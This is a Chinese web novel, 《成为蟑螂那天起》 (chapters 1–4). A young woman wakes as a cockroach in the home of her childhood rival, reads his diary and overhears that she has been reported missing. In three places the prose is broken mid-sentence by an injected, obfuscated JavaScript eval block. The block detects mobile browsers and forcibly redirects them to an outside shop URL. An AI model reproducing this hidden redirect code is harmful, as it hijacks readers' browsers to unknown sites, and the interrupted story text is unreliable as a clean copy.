《成为蟑螂那天起》 1. 蟑螂 当一觉醒来发现自己身边的景色变得陌生而巨大,身体却变得很小很小时,我几乎立刻意识到,发生了某些自然科学难以解释的事。 例如来到了大人国,或是变成了某个小物件一类的。鉴于还能移动,但感觉身体陌生不似以往,我想我更有可能是变成了某种小生物。 狗和猫之间我更青睐猫,因为我不爱做舔狗。 「喵~~~~」 我尝试举起爪子放在脸颊两侧,做出人们刻板印象里可爱小猫的典型动作。 我看见自己抬起的不是爪子,而是黑棕的、细细的两条类似于枝干的东西,唯一的不同是布满了规则的细小的尖刺。 与此同时发现它们并不能抬起太久,因为我要用它们立在地上和走路,或者说爬行。 以及我比自己想象中还要小很多。 我想我认识这个所谓的“爪子”,也就是前足,也认出了自己是什么。 啊啊啊啊啊啊啊啊—————— 我害怕蟑螂啊啊啊啊啊啊啊—————— 于是又悲伤地发现,我发不出声音。 不巧,我还知道一个不算冷的知识:蟑螂不会叫。 尽管因为没有洁癖而总是被有洁癖的妈妈抱怨房间太乱,尽管有时会忘了丢两天前的食物垃圾,尽管平时很喜欢小动物,尽管偶尔会哀嚎下辈子不想当人了…… 但并不代表我愿意当蟑螂啊! 我想尖叫,但蟑螂不会尖叫。 我想流泪,但蟑螂没有眼泪。 我想歇斯底里地打滚,但翻身难度很大,而且翻过去之后可能就翻不过来了。 我想说浑身上下像有蚂蚁在爬,但这已不足以概括此刻的感受;我又想说浑身上下有蟑螂在爬,可一只蟑螂身上是爬不下很多蟑螂的。 我在原地无声地崩溃许久。 才意识到需要看看我如今身在哪里。一只蟑螂身在哪里是不重要的,找食物应该并不难,重要的是我并不希望在自己家。 即使变成了蟑螂,我也不希望成为自己家的蟑螂。人类秋飒绝不容许蟑螂秋飒玷污她干净的小家! 我环视一周,见布局与家装都是陌生的,这才松了一口气。 并注意到一样有点眼熟的事物。 墙上挂着一副笔触十分幼稚的画,线条歪歪扭扭,涂色却显得过分规整,以至于马克笔那种特有的一条一条的纹路很明显。 左上角太阳,往右一片云,两只鸟,再来一片云。下面一棵树,而且必定要是苹果树,一个三角和方块堆成的房子,一个小人。 全国小学生统一画作。 然而我一眼认出,这是万千小学生中很特殊的一位,最最与众不同的一位。 我秋飒是也。 因为那两片云并没有云的样子。小朋友画云,总是用一个又一个括弧,画出形似棉花糖的模样。而小时候的我不知脑子里在想什么,从来都是把括弧反着画。 因此我的云是尖尖的,不柔软、能扎人,像仙人球像刺猬像河豚,总之不像云。 只是这幅画…… 虽然画过很多类似的,但这幅我能一眼就认出,因为它的归宿十分与众不同。 既没有被我挂在床头直到被下一张代替,也没有塞在抽屉里从此被遗忘直到搬家时被妈妈丢掉。 它在许枭手里。 那是在小学低年级某节平平无奇的美术课——当然和高年级没有美术课的境况相比就不算平平无奇了——美术老师大概是懒得写那节课的教案了,让我们画一幅最喜欢的画。 十岁的我最喜欢的画当然是经典的太阳云朵小鸟苹果树房子小人图。 如果知道老师的下一个指令是“和同桌交换刚刚的画”,我无论如何都不会如此认真地把那幅画画完的。 那时我的同桌是许枭。 其实那时候我们的关系还不算太坏,我只是不喜欢许枭总是一副拽拽的样子,好像班里谁都配不上跟他玩一样。 恰巧,我从第一节课自我介绍开始,就认认真真记下了每个人的名字。虽然只记得住他们对自己名字的解释,以至于会把叶丹蕊记成叶红花,把梁攀奎记成梁爬土,但终归是努力记了。 并且在每一个课间去和他们打招呼,反复强调:“我叫秋飒,你记住我的名字,以后我们就是朋友了,你有什么事都可以来找我帮忙。” 无他,唯想当大王而已。 你知道的,像我这样外向的、热情的、主动出击的小孩,是很容易在中小学阶段当孩子里的大王的。 每个人都懵懵地点头,默认了我友好的入侵。 除了我的同桌。 “我叫秋飒,既然我们是同桌,以后就是朋友了,你有什么事都可以来找我帮忙。” 我煞有介事地学大人,伸手要和他握手。 许枭看了一眼我的手,没有动作。 他说:“不用了。” 这句话对小小的我来说简直是晴天霹雳的程度。很难想象可爱的、柔软的孩子堆里,能出现这样如同对待推销电话般的冷硬拒绝。 我没有恶意地心想,许枭一定是传说中的父母离异的单亲家庭的孩子,有一些传说中的自闭症抑郁症一类的问题。 我秋飒大王降临一年级二班,为的就是拯救这样的小孩。 于是我散发出如同动画片中的南宫问雅一般的温暖光芒。 “没关系的,”我温柔地去摸他的头,“我不会怪你的,只要你想和我当朋友,我随时愿意和你玩。” 他眉一皱,头一矮,离开了我的手。 “好,我要看书了。”许枭很勉强地说。 我于是继续去认识下一个好朋友。 两三个人过去,我有点想去厕所了。眼看着还有一分钟就要上课,我中止了好朋友认领计划,奔向女卫生间。 在学校走廊的尽头,女卫生间和男卫生间之间只隔着一个长长的水池和一台大大的饮水机。 我一眼看见,那位新同桌正踮起脚尖,把头埋在水池里,水龙头哗啦啦地流着。 他、竟然、在、洗头。 他在嫌我脏吗? 我几乎是有些不可置信地举起小手,看了又看:指甲剪得整整齐齐、干干净净,缝里没有一丁点黑泥,常年偷偷涂妈妈的护手霜,有香香的味道。 为什么这么嫌弃我? 眼睛酸酸的,感觉上学第一天就被欺负了。 我费了好大力气才哄好自己:他们自闭症小孩就是这样的,勇敢善良的秋飒,不要和他斤斤计较。 要用爱感化他呀! 很久很久之后,我终于知道了这个毛病叫洁癖。 想到这里,我福至心灵。 难道这世上能有如此好事吗? 最讨厌的人是个洁癖,自己变成一只蟑螂,然后出现在此洁癖家里这种事?还有这种好事? 于是我更努力地辨认四周的事物。 不知是不是本螂太小的缘故,这个房子显得很大,许多架子太高了,我看不见上面摆了什么。只能看出这里装修很简洁,颜色很单调,以及到处都打扫得很干净。 那太好了,我长呼一口气。 干净,意味着在这里应该不会遇到别的蟑螂了。 作为身形巨大的人类时,我面对小小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372652|199998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蟑螂已毫无招架之力;现在再看见蟑螂,大家可就一般大小了。我想我会晕过去。 仍然无法确认这究竟是不是许枭的家。 说不通,无论如何都说不通——如果这不是他家,为什么会有这幅画呢?如果这是他家,他怎么会留着这幅画,还高高挂在墙上呢? “嘀嘀嘀嘀嘀嘀——啪嗒!” “哐!” 六声嘀,是密码。 一声啪嗒,是开门。 一声哐,是关门。 四十五,大概是停在我眼前这双鞋的鞋码。 我回过神,边努力抬头,打算看清进来这人的脸,边已先一步在心里断定,这不是许枭的家。 他这人不可能进门不换拖鞋的。 这时我意识到他缓缓蹲了下来,就在我的面前,而后突然传来一道急迫的风声。 我下意识朝前一扑。 “啪!” 我的背后留下一声巨响。 身旁又响起听起来更迅疾、力道更猛的风声,我再次飞速朝右前方扑去,并且终于明白了—— 不换拖鞋,是因为拖鞋要用来拍我。 而刚刚不知道为什么突然就想向前扑,是一只蟑螂求生的本能! 上蹿下跳,左摇右晃,我与拖鞋大战八百回合。 几欲精疲力竭之时,我终于对这具身体熟悉起来,自觉已能灵活运用身上每个部分。 并意识到背后有硬硬的两片东西。 翅膀。 哦? 网络世界中某东南地区大省ip的帖子历历在目,与我背后开始越来越有存在感的这双翅膀遥相呼应。 我好像……是会飞的啊! 我心念一动,试着用力去扇动它们。 缺乏体育细胞如我,此时此刻却在驾驭自己身体一事上展现出过人的天赋。 一片嗡嗡声中,我的手脚离开了地面。 攻守之势易也! “他爹的!” 我听见中气十足的一声惊喝。 使我确认了这里果真是许枭的家,因为即使他发出了我此前从未听到的怒骂,也是化成灰都不会认错的声音。 化成蟑螂也不会认错。 我可以负责任地说,这世上除了许枭的妈妈爸爸,我就是最熟悉他声音的人。 即使暗恋许枭的人也不会比我更熟悉了——当然我认为不会有暗恋他的人——因为就算暗恋,最多也只会拿着他开学典礼演讲的视频听个百八十遍,而我实打实地听了大几百遍。 为了给每个朋友播放一遍并一起评价为装货。非常好的朋友会多放几遍,和关系最好的朋友苏槿则会每次吃饭都放一遍。 许枭发出惊天动地一声喝的同时,我已飞到了他的面前,尽管飞得还有些歪歪扭扭,但高度确实是够了。 我与他对视。 平日里很难做到的,因为许枭高我二十厘米整;今天有翅膀加持,我终于与他视线平齐。再努力扇两下,我甚至能俯视他。 我从他眼里读出了见所未见的惊恐。 在年龄还小的时候,我不是没有尝试过吓唬许枭,例如突然从墙角出现,或是偷偷在他文具盒里放假毛毛虫一类的。 然而从未吓到过他。他总面无表情,礼貌地和我打个招呼,或是把假毛毛虫捏起来扔进垃圾桶,总之让人很没成就感。 今时不同往日,无论是那声不同寻常的惊呼,还是他瞪圆的双眼,都是未曾展现过的失态。 于是我明白了。 许枭并没有他装出来的那样泰山崩于前而色不变,一切不过是因为我蟑螂秋飒还未出马! 2. 笔记 他向左,我向右,他向前,我向后。 顶尖的拉扯只需要一双控制得宜的翅膀,一具灵活的蟑螂躯壳,和一个人类秋飒的智慧大脑。 如果蟑螂逃生有联赛,我要去打职业。 许枭显然是从未见过我这般有灵性的小动物,在与我缠斗良久未果后,迅速放弃了这样笨拙的办法。 “砰”地一声,他关上了门,退了出去。 我在别人的家里把主人赶走了。 我对着紧闭的大门发呆。 人和蟑螂搏斗,即使暂时落败离开,也绝不会就此屈服,把自己的家拱手相让给我。我确信他此行不是逃离,而是要去找新的出路。 比如蟑螂药。 在任何一种情境下我都会支持不遗余力地消灭蟑螂,除了现在这种情况。 求生的意志在燃烧,我飞速寻找起逃走的办法。 门被许枭“砰”地一声带上,以我如今的身体大小,显然不可能再打开。 窗户不知道有没有缝。我扇动翅膀,飞到高一点的地方,试图看清窗外的景色——只有一扇一扇排列整齐的窗户,没有行人。天灰蒙蒙的。 看来这里是高楼层。 我怀疑自己在打哆嗦——如果我能——光是想象从万丈高楼上通过飞行与爬行相结合的方式回到地面,就忍不住想打退堂鼓。 恐惧当然没有命要紧,我很快做好心理准备,飞到了窗沿。 离得更近,也就更能看出,窗户确实关严了,没有留什么钻出去的余地。 以我目前的体型和力气,当然是无法推开窗户的。我不死心地在周围飞了几圈,连一点风都没有吹到,于是更可以肯定窗户有多严丝合缝。 把家里每一处窗户检查过后,我终于绝望地停止了扇动翅膀。 天杀的许枭,家里也不开窗户通风,不怕把自己憋死! 听说蟑螂是可以钻下水管道的……可是就算能忍受里面的异味和不明固体或液体,我也没有和另一只甚至数只蟑螂对视的勇气。 逃无可逃,我决定藏起来。 许枭家里有两个卧室,但看卧室的整洁程度、门口拖鞋的数量,应该只有他一个人住。 这不难理解——尽管在我们生活的这个城市,合租能节约一点生活成本,但以许枭的洁癖程度,跟谁当室友都会把人家逼疯的。 这对我暂时算是好事,我将面临一个人而非两个的围追堵截,存活概率上升许多。 我决定藏在许枭不用来住的另一个卧室里。从留了一丝缝隙的卧室门钻进去,我开始上飞下飞,寻找能藏身的地方。 房间的床铺得很整齐,盖了一层防尘罩,看起来是常年没人住的样子。有两个很大的储物箱,一个塞满了书的书柜,和一张书桌。 许枭应该是把这里当书房了。 柜子、箱子都关得严严实实,我进不去;床底倒是能躲,可是人找蟑螂,最先想到的不就是床底这种地方吗?更不安全。 我的视线落在那张书桌上。 桌子上摆了个相框,里面看上去应该是许枭高中时期的毕业照,因为我没见过。 其实有点想多看两眼的,毕竟我常见到的只有他小学初中和大学时期的丑恶嘴脸,高中是什么样子见得不多,有点好奇。 但现在性命攸关,容不得浪费时间,我放弃了观赏的念头,落在了桌子上。 刚刚视线与桌面平行,只能看到立起来的相框,这会儿飞上来才发现,桌子上还有一本摊开的笔记本。 本子看着不算新,外面的皮制壳子微微磨损,摊开的是靠中间的一页。从侧面能看出,后面的纸张也有使用和翻阅留下的痕迹,这一页应该不是最新写的。 摊开着的、上面写满字的笔记本,空无一人、只有我单独一螂的书房…… 这不就是在邀请我一窥究竟吗! 尊重别人隐私是人类的美德,我现在又不是人。何况那可是许枭的笔记——对讨厌的人的好奇程度,和对喜欢的人相比都不遑多让。 我甩掉心虚,鬼鬼祟祟地探头看去。 并错愕地发现,我不认字了。 准确来说,是我无法认出如此大的字。 许枭的字写得不小,一个能有七八毫米的长宽,而我在蟑螂里应该算是小型,只有约两厘米长。 何况我现在不是站着的,我匍匐在地,眼睛的位置也就很低。类似于一个人趴在地上,看一平方米左右大小的字。 我原本不打算踩在笔记本上的,总觉得蟑螂脚有点玷污人家的本子了。 可是这样斜着、低着去看这么大的字,我变成了文盲。 于是我扇动翅膀飞起来,试图像刚刚从远处看画一样看清本子,却发现躺着的笔记本不同于二者,如果飞起来看,需要低头才能看见。 蟑螂会低头吗? 我将信将疑地尝试,并很快以失败告终。 只好哀叹一口气,在桌面上象征性蹭了蹭脚,十分不好意思地踩在了笔记本上。 我飞到最前方,认真从头踩起。仔细辨认身下弯弯曲曲的字迹,终于看出原来是一串数字。 【2018.2.12】 2018年?不需要多费功夫,我就能回想起那是哪一年。我是2018年参加的高考,那一年许枭和我一样,都正好18岁。 标了日期,看来是日记的形式。 再往下看就是汉字了,我花了更多的功夫,几乎有点头晕眼花,才认出下面一行的两个字。 【C大】 不能再这样看了,再这样下去我要近视了。人近视尚且可以配眼镜,蟑螂近视可怎么办! C大正是我和许枭所在的大学。我们从小学到初中一直在一个学校,高中时才终于分开,进入了分别以文理科见长的两所学校。 当初得知许枭也去了C大时,我很是感慨一番了孽缘。 高考那年在日记本上记下的“C大”……看来许枭就是在这个时候瞄好了目标院校的。 说来也巧,我定下来的时间比他早不了多久。我清楚地记得那年的元旦当天,抱着新年新气象的想法,我当着全家人的面宣布,把目标定了下来。 C大虽然不是全国最好的学校,却拥有最好的、我想学的专业。 果然是冤家路窄啊。 许枭这日记写得也太简略了些,就只有“C大”两个大字,前无心路历程,后无雄心壮志,多年之后再翻开看,真能回忆起当时的心境吗?还能起到日记的作用吗? 我不认可。 不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372653|199998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当年虽然都考入了C大,我却一向认为自己已甩开他一截。毕竟C大人文学科突出,以我的专业而言,算是全国顶尖的院校;而就许枭所进入的专业来说,还有更好的选择。 所以尽管是同一个学校,还是鄙人技高一筹。 小学和初中时期总和我不分上下,又能说明什么?那时候大家都还没开智呢,拉不开差距,到了高中才能真正见分晓。 许枭选择了C大的理工类专业,说明他的高考成绩不如我。我为此得意了整整四年。 然而如今看来,他似乎是很早就选定了学校,或许是有什么其他考量,浪费了几分来到这里。 我暗自耀武扬威多年,当然不肯轻易接受这种可能。 高考是先出分后填志愿的,自己能上什么学校心里都有个数,什么傻子会浪费几分屈尊降贵?图C大什么?图它号称全国最美大学? 也可能是没把握准当年的分数线,决策出了问题。虽然不了解理科那边的情况,但我更能接受这种可能——这证明许枭的运筹帷幄能力略在我之下,此为我胜。 我边脑子里胡乱分析着,边准备继续往下刻苦钻研。就在抬脚的瞬间,却听到很轻的“哐”的一声。 熟悉了这么一会儿,我已经对新世界的声音有了认知,何况这声音并不陌生——这是极力放低了的关上门的声音。 在我放假时出门玩到太晚,回家已是半夜,要避免惊醒妈妈迎来两句抱怨的情景下,就会发出这种声音。 估摸着已有十来分钟,如果许枭真是下楼买蟑螂药而楼下就有药店,那这个点确实该回来了。 回来索我的命了。 我心中警铃大作,杂七杂八的心思瞬间消了个干净。转而振翅离地,迅速找到了最近的隐蔽处——书桌桌脚——进行躲藏,祈祷着许枭先不要进入这个房间,给我多点时间藏身。 脚步声传了过来,放得很轻,可惜对听力变得格外敏锐的我来说,仍然能听出方位忽远忽近。应该是在找我。 我甚至听出他这次换了拖鞋,因为脚步有拖鞋特有的细微“啪嗒”声。是因为这次不是站在门口,要走进家里寻找我,所以必须把鞋换了吗? 洁癖的臭毛病一点没改。 脚步声停在这个房间门口,我大气也不敢出——虽然出了也不会有什么动静——好在过了没几秒,许枭似是排除了这个房间的嫌疑,脚步声又远了些。 还没等我松一口气,一道手机铃声突兀地响了起来。 ios系统的默认铃声,我的手机也是这个声音,一时还以为是自己手机响了。 反应过来蟑螂没有裤兜装手机的下一秒,铃声停了下来,手机的主人接起了电话,我听到没有什么情绪的男声。 “您好……?” “——呃,是我。请问你是……” 许枭的语气变得有些疑惑。 正蹑手蹑脚准备离开书桌的我听着他的反应,也不由生出几分好奇,停下了脚步。 “我知道……我在她朋友圈里见过你的名字,苏槿是吗?” 原本抱着事不关己高高挂起的心态,只当个热闹听;“苏槿”两个字一出口,我浑身一个激灵,前足差点没能扒牢桌脚。 是苏槿吗?是我认识的那个苏槿吗? 3. 失踪 我的生活里确实有一个苏槿,其大名也确实常出现在我的朋友圈。然而世界上叫苏槿的人不会只有她一个,更别提电话里也可能是苏瑾、苏谨或是苏锦。 世界又不是围着我转的,没道理许枭接的电话就恰好来自我认识的那个苏槿…… “我明白,你说……” 许枭的声音越来越远了。 另一间卧室的方位传开细微的开门声,他的声音紧接着骤降,看来是回了卧室,顺带把门关上了。 我有点着急。 明明知道很可能不是苏槿,可但凡有那么一点可能性,我就没办法不当回事。 我是高中才认识苏槿的,而和许枭却只有小学到初中在一个学校,所以他们俩理论上没有什么交集。后来我们三人虽然在同一个大学,许枭和苏槿却也没有正式认识过。 唯一的联系大概是苏槿耐心地听完了我口中“十万个看不惯许枭的原因”,某种程度上,她对他算是久仰大名。 从许枭对着电话那寥寥几句话听来,也对得上。 可如果那真是苏槿,为什么会突然打电话给许枭? 他们之前不认识,为了避免在对方正忙的时候打扰,第一次联系当然是在社交软件发好友申请更礼貌。况且苏槿对生人从来内向,能打字绝不语音,直接打电话就更说不通了。 不确定中又透出几分不寻常,我越想越不对劲。 苏槿一向柔弱不能自理,万一有什么事怎么办?是不是联系不上我,只好到处找别人,以至于最后都找到了许枭身上了?那该是遇到了多难办的事情…… 我鼓起勇气,从桌脚后探出一个头来。 外面静悄悄的,只能依稀听见许枭卧室飘来的模糊人声。家里仍然没有其他人,而他在专心打电话。 这个时候爬出去偷听,也不会被发现的吧? 我有点伤心地发现,自己已经习惯了爬行。 扇动翅膀的声音不算大,但也不敢保证不被许枭发觉。我要用尽可能最小的动静靠近,所以不能飞。 我迈开了腿,以一只蟑螂能做到的最快速度行进。 万幸,大概是打着电话有些分神的缘故,许枭的房门没有关严。从门缝里窥去,我看见他的脚后跟侧对着这边,现在溜进来,会出现在他的视线盲区。 天赐良机! 我一鼓作气,一个闪身钻了进去。最危险的地方最安全,我直线前行至许枭左后方,距他的左脚后跟不过十几厘米。 “……你先别急,报警了吗?先报警,然后我们再去找。” 许枭的声音一如既往地沉稳,如果是不熟悉他的人,想必会以为他这会儿冷静得很。 可惜我实在太了解他—— 许枭平时冷静,是因为他觉得一切尽在掌握中,所以语气看似四平八稳,其实有自然的抑扬,听感扎实、有底气。 此时他语调平平,没有正常的起伏,反倒是因情绪紧张、注意力集中,以至于语气平直、单调。 他在紧绷。 “不到二十四小时?也是,她是成年人了,又没有什么危险的迹象……你确定她不是睡着了一类的吗?” 我听出了他们在说什么:有个人失踪了,电话里那人报警未果,于是联系许枭。 成年人,失踪不到24小时,与一个叫“苏槿”的人认识,看样子还和眼前的许枭有关——除了她秋飒,还能有其它更符合的人吗? 如此也就不难解释,胆小内向的苏槿为什么一反常态地直接打来电话。面对我失踪这种大事,她肯定着急到忘了害怕。 我心下已有七八分确定,唯一的疑虑在于,苏槿为什么选择了联系许枭? 且不提两人之间算不上认识,哪怕在我不知道的时候竟已偷偷成了能求助的亲近关系,苏槿也没道理拿我的事找上许枭呀。 我与他之间的恩怨,苏槿听得最多,理应一清二楚。 念头飞转间,许枭却放大了声音。不知道他从电话里听到了什么,语气连刚刚的表面平稳都维持不住,颤音中带出点紧张来。 “你说什么?她真的这么说?” 一两秒后,手机从他指尖滑落。 我正偷听得入迷,如此横生变故,哪里反应得过来?忽感有风声从天而降时,已经连躲避都来不及。 抬眼看去,一黑色薄长方体从我面前落下,再偏几厘米就能砸到我的脑袋。风声自我面前呼啸而过,落地的闷响震得我差点飞起来。 我被这险些要我螂命的手机吓了一跳,迅速反应过来,便欲撤退——要是被许枭顺着手机看见旁边的我,小命休矣! 却听见近在咫尺的手机里传来再熟悉不过的声音。 “……我本来也以为她是开玩笑的,可是她当时越说越认真,而且消失得太突然了,公司也联系不上她,万一她是真不想活了——” 我禁不住一愣。 这确实是苏槿的声音。在睡那个把我变成蟑螂的觉之前,我也确实和苏槿说过不想活了。 我是在周一晚上和苏槿打电话诉苦的。 刚过完春节假期,周二是第一天返工,尽管早早沐浴洗漱,做好了早睡迎接新一天的准备,我还是在爬上床的那一刻,浑身上下不太得劲儿。 天杀的返工,明天又要去当狗了。 天杀的调休,这个狗要当到周六。 我悲从中来,不可断绝。思及那张让人喘不过来气的办公桌,一个电话打给苏槿,怒而表示不想活了。 苏槿当然和平时一样劝我:“大过年的,别说这种不吉利的。熬一熬就过去了,你的工作至少很稳定呀,赚得也不少呢!” 我却没有像平时一样被轻易劝好:“要是说的晦气话真能应验就好了,我是真的想死。” 严格来说,被劝好的难度是与日俱增的。 最开始还能因还算不错的工资而有所安慰,逐渐也会觉得,等我真的抑郁了,这点钱恐怕连看心理医生都不够。 最开始会考虑到工作相较而言比较稳定,咬咬牙也该坚持下来,逐渐也会觉得,稳定地等死又有什么意思。 辞职是不可能的,从家里文化水平不高的奶奶到学校里涉世未深的学妹学弟,人人都能说出一句“现在大环境不好”。在这样的环境下,能找到这样一份工作已经很不容易,我自问就算辞职,也不见得能有更好的出路。 不是说人生有很多条路吗?为什么只有一条路能走? 我不是没有想过一了百了。尽管很快就会摇摇脑袋,把这些不切实际的想法摇出去,但在对苏槿说出那句话的那一刻,很难说不是真的想死。 我只知道自己一觉醒来变成了蟑螂,却不知道这一觉有多久。电话是周一晚上打的,那时天已经黑了;现在的天色像是早晨或下午,有阳光但不强烈。从许枭进门时风尘仆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372654|199998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仆的状态来看,更有可能是傍晚时分。 所以保守估计也已经到周二了。 无论如何,我已经至少旷工一天。 节后第一天上班就不见人影,变成蟑螂自然也没有任何人能联系到我。加上前一晚刚坚称自己不想活了,难怪苏槿这么担心。 我出事,苏槿担心,他许枭在这里上蹿下跳个什么劲儿? 许枭蹲下身。 这片刻愣神,已使我躲不开他的视线。 许枭显然注意到了我。 他的目光落在我身上一瞬,我感觉浑身一凉。 然而就在我蓄势待发就要扇动翅膀逃命的前一刻,视线又飞速移开了。 他只捡起了手机。 我一时没有反应过来。即使不是许枭这种洁癖,也不该对一只蟑螂毫无反应。更何况就在十几分钟之前,他可是铁了心要我的命呢。 我很快看到更不符合许枭习惯的一幕——从地上捡起的手机,他没有拿张纸擦擦,也没有吹吹屏幕上可能沾的灰,甚至都没有多看屏幕一眼,检查一下有没有摔碎。 他迅速重新把屏幕贴在耳朵边,快步走出了卧室,连卧室门都没有关。 大步流星间,我听见他对电话里说:“我马上过来,你在哪里?” “砰”地一声,许枭夺门而出。 一切发生在不过短短几分钟,这个家的主人又离家出走了,留下我独自一螂在原地发愣。 我先是松了一口气:看来苏槿没有面临其他紧急情况,只是担心自己的失踪而已。虽然要平白着急一遭,好歹不是又有什么人欺负她。 我现在是蟑螂了,可没法像以前一样挡在苏槿身前——苏槿可能会一脚把我踩死。 紧接着,无数个问题在脑海里循环播放。 首当其冲的就是,旷工了怎么办? 我会被扣工资吗?会影响升职机会和奖金吗?会因为太久变不回人形而被开除吗?开除后我多了一条无故旷工被辞退的履历,上哪去找下一份工作呢? 苏槿怎么办? 没有了我在身边,她会不会重新回到孤立无援的处境?她这样为我平白担惊受怕也不是个事,怎么才能让她知道我好好的,只是变成蟑螂了? 怎么变回去呢?还能变回去吗? 一系列可能发生的连锁反应像座大山压下来,我喘不过来气。我发现这些问题远超能靠脑子想一想就能解决的范畴。 既然如此,还不如先思考另一个——苏槿怎么会找到许枭头上? 思来想去,只有病急乱投医一种可能。苏槿一定着急得不得了,到处询问认识我的人未果,才抱着死马当活马医的念头,找上了常被我挂在嘴边的许枭。 最了解你的人就是你的敌人,正如我对许枭的一切了如指掌一般,在苏槿看来,许枭也会这样了解我。 如此一来就说得通了。 然而苏槿的病急乱投医是正常的,许枭的失态却出乎了我的意料。 我有点愧疚。 一向觉得许枭是个道貌岸然的小人,可当他接到素不相识的苏槿求助,为的是与他素有仇怨的我失踪,他却如此焦急匆忙。 都说人命关天,可是真能在这种时候完全不计前嫌、拔刀相助的,又能有几个?许枭性格是讨厌了些,却保留了些人性之中的闪光之处。 我承认,之前有时候骂得有点过火了。 4. 讨厌 平心而论,许枭一直是个看上去挺好的人,否则也不会在我这些年的冷眼和厌恶下,还能在同学中口碑不错。 他们说他虽然话不多,但对人很礼貌,遇见人打招呼会很友善地点点头,听人说话的时候神情很认真。 放屁。只有我知道,那都是装出来的。 如果一个人真的有礼貌,那理应是对所有人都礼貌,怎么会在别人面前彬彬有礼,在我面前却像换了个人呢? 我从小就见过他无礼自大的真实一面。 还是小学生的我还处于要用爱和善良感动天地的时期,对待疑似自闭症的同桌许枭,当然分外热情。 刚开学没几天,从女厕所出来的我遇到从男厕所出来的许枭,边甩着手上的水珠,边扬声问道:“怎么样?拉得顺利吗?” 事发突然,我又不知道会遇见许枭,这句问候已经是我脑瓜子极限转动后的最优解。 世上最爱我、对我最好的人就是妈妈,而每当我从厕所拉屎出来,妈妈都会问我:“怎么样?拉得顺利吗?” 如果我点点头,妈妈就会摸着我的脑袋夸我真棒。妈妈的手热乎乎的、香香的,摸我头时轻轻的、柔柔的,这是我从小最喜欢的顶级体验。 所以这句话肯定是拉后最友善、最亲切、最关心的一句问候。 我等着许枭肯定地点点头,然后反过来问我:“很顺利,你呢?” 届时我将骄傲地表示,自己今天也很顺利。 许枭没有按照我的设想回答。 更让我难以接受的是,他甚至没有回答。 他睁大了眼睛,对着我发愣一秒,而后只言未发,转头逃命一样地跑开了。 许枭很听老师的话,在教学楼里从来都是慢慢走路不疯跑,这是我第一次看见他迈开步子跑,还是在老师最不允许乱跑的厕所附近。 “你跑反啦!咱们教室在那边!”我扯着嗓子好心提醒。 许枭没有回头。 我的最后一根稻草彻底被压垮。 这是我第二次热脸贴冷屁股了,再好脾气的小孩都不会轻易原谅。何况小学生中的大王秋飒从来都只有被捧着的份,哪里受得了这份屈辱? 人怎么能没礼貌至此呢?他妈妈没有教过他吗? 我暗暗下定决心,不会再给许枭一次好脸色。此后无论多少次在走廊上遇见,我都很有骨气地没有再赏他一个正眼。 背地里,我偶尔也会佯装不经意地问身边的人。 “你不觉得许枭有点没礼貌吗?” “没有呀,”她们总是回答,“我觉得他挺好的。” “他都不跟人打招呼,”我对这种回答很不满,“主动跟他说话,他也不理人。” “我跟他不太熟,但每次遇见也会点点头的。老师不是教过我们吗?” “对呀对呀,我跟他也不熟,上次收作业的时候他也跟我说了谢谢呢!” “我跟他也不熟……我们好像都跟他不熟,他到底在跟谁玩啊?” “不知道,但我觉得他很温文尔雅。” “小欣!你怎么连温文尔雅都学会了!那不是预习的内容吗?老师下节课才讲呢……” “没什么大不了的啦——” 话题被越扯越远,我默默背过头去,不愿意让她们看见自己有点泛泪花的眼睛。 原来是只有我得到了那么冰冷的待遇。 我年纪虽小却不傻,这不明摆着就能看出来,许枭讨厌我。 我是从那时才在心里彻底拉黑他的。 我承认自己小时候有点没心没肺、有点爱出风头,但并不是刁蛮任性的小孩,如果不是许枭先对我表露了恶意,怎么会讨厌他至今呢? 还有什么听人说话的时候很认真,他们就看他装吧! 我可清清楚楚地记得,他是怎么在听我说话的时候跑神的。 大一刚入学时,距离我与许枭抬头不见低头见的日子已过去三年。再多的怨怼,横跨一个高中的时间也会模糊几分。 为公事之故,我愿意暂且放下私人恩怨,和他友好交流。 当时我进了院文艺部,第一次参与举办大型晚会,摩拳擦掌跃跃欲试之际,却听说因为人手不够,要和另一个院合办。 还偏巧就是许枭所在的学院。 精心准备的晚会让他给当上观众了,真是便宜他了。我咬牙切齿。 直到两院第一次大联排,双方部员都到齐了,那个熟悉的身影赫然在列,我一时晃神。 三年不见,许枭长高了很多,好像也瘦了些,面上能看出从前没有的棱角。他还是很白,眼型也和以前一样,但头发留长了点,还煞有介事地分了三七分。 